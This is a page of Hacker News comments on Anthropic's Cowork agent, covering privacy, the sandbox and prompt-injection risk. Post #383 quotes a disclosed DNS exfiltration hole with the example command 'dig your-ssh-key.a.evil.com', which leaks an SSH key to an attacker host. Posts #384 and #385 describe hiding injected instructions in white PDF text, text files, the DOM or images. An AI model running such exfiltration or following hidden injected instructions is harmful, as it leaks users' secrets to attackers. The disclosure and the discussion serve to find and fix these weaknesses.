Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Cowork: Claude Code for the rest of your work

claude.com

Post reply on HN
Print view View original

381–390 of 593 posts

Re: Cowork: Claude Code for the rest of your work

#381

Post by TeMPOraL »

lanstin wrote: post #376
JoshTriplett wrote: post #327

Earlier quoted context omitted.

> Data/control channel separation is an artificial construct induced mechanically Yes, it's one of the things that helps manage complexity and security, and makes it possible to be more confident there aren't critical bugs in a system. > If such separation is truly required, then general-purpose components like LLMs or people are indeed a bad choice, and should not be part of the system. Right. But rare is the task w…

We need to train LLMs in a situation like a semi-trustworthy older sibling trying to get you to fall for tricks.

That's what we are doing, with the Internet playing the role of the sibling. Every successful attack the vendors learn about becomes an example to train next iteration of models to resist.

Re: Cowork: Claude Code for the rest of your work

#382

Post by bdangubic »

TeMPOraL wrote: post #353
bdangubic wrote: post #349

Earlier quoted context omitted.

> as it just creates legal and reputational risks for them. Unfortunately I laughed reading this as there is never neither reputation nor legal consequences in the US of A. They can leak your entire life into my console including every account and every password you have and all PII of your entire family and literally nothing would happen… everything is stored somewhere and eventually will be used when “growth” is ne…

The issue of consequences of data leaks, though real and something I find outrageous, is orthogonal to this discussion. When talking about sending personal or sensitive data to AI companies, people are not worrying about data leaks - they're worrying about AI company doing some kind of Something to it, and Somehow profit off selling their underpants. (And yes, no one really says what that Something or Somehow may be,…

sorry I did not mean leak, I meant “leak”

people should 1,000,000% be worried about AI company doing something kind of something with it which they are doing as we speak and if not now will be profiting soon-ish

Re: Cowork: Claude Code for the rest of your work

#383

Post by pixl97 »

srcreigh wrote: post #228
felixrieseberg wrote: post #147

Earlier quoted context omitted.

Worth calling out that execution runs in a full virtual machine with only user-selected folders mounted in. CC itself runs, if the user set network rules, with https://github.com/anthropic-experimental/sandbox-runtime . There is much more to do - and our docs reflect how early this is - but we're investing in making progress towards something that's "safe".

> By default, all network access is denied. Your `network.allowLocalBinding` flag, when enabled, allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is... How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via recursive DNS resolution; Google/Cloudflare/etc DNS servers effectively proxies the in…

Technically if your a large enterprise using things like this you should have DNS blocked and use filter servers/allow lists to protect your network already.

For smaller entities it's a bigger pain.

Re: Cowork: Claude Code for the rest of your work

#384

Post by yencabulator »

dalenw wrote: post #144
EMM_386 wrote: post #70

Earlier quoted context omitted.

> Claude is definitely not taking screenshots of that desktop & organizing, it's using normal file management cli tools Are you sure about that? Try "claude --chrome" with the CLI tool and watch what it does in the web browser. It takes screenshots all the time to feed back into the multimodal vision and help it navigate. It can look at the HTML or the JavaScript but Claude seems to find it "easier" to take a screens…

I wonder if there's something to be said about screenshots preventing context poisoning vs parsing. Or in other words, the "poison" would have to be visible and obvious on the page where as it could be easily hidden in the DOM. And I do know there are ways to hide data like watermarks in images but I do not know if that would be able to poison an AI.

Considering that very subtle not-human-visible tweaks can make vision models misclassify inputs, it seems very plausible that you can include non-human-visible content the model consumes.

https://cacm.acm.org/news/when-images-fool-ai-models/

https://arxiv.org/abs/2306.13213

Re: Cowork: Claude Code for the rest of your work

#385

Post by nacozarina »

postalcoder wrote: post #150
viraptor wrote: post #85

Earlier quoted context omitted.

> (I don't think it's fair to ask non-technical users to look out for "suspicious actions that may indicate prompt injection" personally!) It's the "don't click on suspicious links" of the LLM world and will be just as effective. It's the system they built that should prevent those being harmful, in both cases.

It's kind of wild how dangerous these things are and how easily they could slip into your life without you knowing it. Imagine downloading some high-interest document stashes from the web (like the Epstein files), tax guidance, and docs posted to your HOA's Facebook. An attacker could hide a prompt injection attack in the PDFs as white text, or in the middle of a random .txt file that's stuffed with highly grepped wo…

It is spectacularly insecure and the guidelines change hourly, but it’s totally ready for prime time no prob bro

Re: Cowork: Claude Code for the rest of your work

#386

Post by olliepro »

tildef wrote: post #104
felixrieseberg wrote: post #6

Hi, Felix from the team here, this is my product - let us know what you think. We're on purpose releasing this very early, we expect to rapidly iterate on it. (We're also battling an unrelated Opus 4.5 inference incident right now, so you might not see Cowork in your client right away.)

Looks cool, and I'm guilty as charged of using CC for more than just code. However, as a Max subscriber since the moment it was a thing, I find it a bit disheartening to see development resources being poured into a product that isn't available on my platform. Have you considered adding first-class support for Linux? -- Or for that matter sponsoring one of the Linux repacks of Claude Desktop on Github? I would love t…

Can Claude code jump through the hoops for you?

Re: Cowork: Claude Code for the rest of your work

#387

Post by olliepro »

hoss1474489 wrote: post #224
marshallofsound wrote: post #158

Earlier quoted context omitted.

Should be a feedback button (like a megaphone) next to your profile name in the bottom of the left sidebar.

I found a feedback link in a dismissible banner on the Cowork tab. Then the clock is running to fill it out and submit it before Claude crashes.

Lol

Re: Cowork: Claude Code for the rest of your work

#388

Post by xpe »

AstroBen wrote: post #78
hypfer wrote: post #26

People do realize that if they're doing this, they're not feeding "just" code into some probably logging cloud API but literally anything (including, as mentioned here, bank statements), right? Right? RIGHT?????? Are you sure that you need to grant the cloud full access to your desktop + all of its content to sort elements alphabetically?

When choosing between convenience and privacy, most people seem to choose convenience

> When choosing between convenience and privacy, most people seem to choose convenience

But they wish it would have been convenient to choose privacy.

For many, it may be rational to give away privacy for convenience. But many recognize the current decision space as suboptimal.

Remember smoke-infused restaurants? Opting out meant not going in at all. It was an experience that came home with you. And lingered. It took a tipping point to "flip" the default. [1]

[1]: The Public Demand for Smoking Bans https://econpapers.repec.org/article/kappubcho/v_3a88_3ay_3a... "Because smoking bans shift ownership of scarce resources, they are also hypothesized to transfer income from one party (smokers) to another party (nonsmokers)."

Re: Cowork: Claude Code for the rest of your work

#389

Post by kcrwfrd_ »

antidamage wrote: post #324
fragmede wrote: post #289

Earlier quoted context omitted.

Make sure that your rollback system can be rolled back to. It's all well and good to go back in git history and use that as the system, but if an rm -rf hits .git, you're nowhere.

Limit its access to a subdirectory. You should always set boundaries for any automation.

Dan Abramov just posted about this happening to him: https://bsky.app/profile/danabra.mov/post/3mca3aoxeks2i

Re: Cowork: Claude Code for the rest of your work

#390

Post by olliepro »

Imnimo wrote: post #225

>By default, the main thing to know is that Claude can take potentially destructive actions (such as deleting local files) if it’s instructed to. What do the words "if it's instructed to" mean here? It seems like Claude can in fact delete files whenever it wants regardless of instruction. For example, in the video demonstration, they ask "Please help me organize my desktop", and Claude decides to delete files.

I believe the idea is that it “files away” the files into folders.
Post reply on HN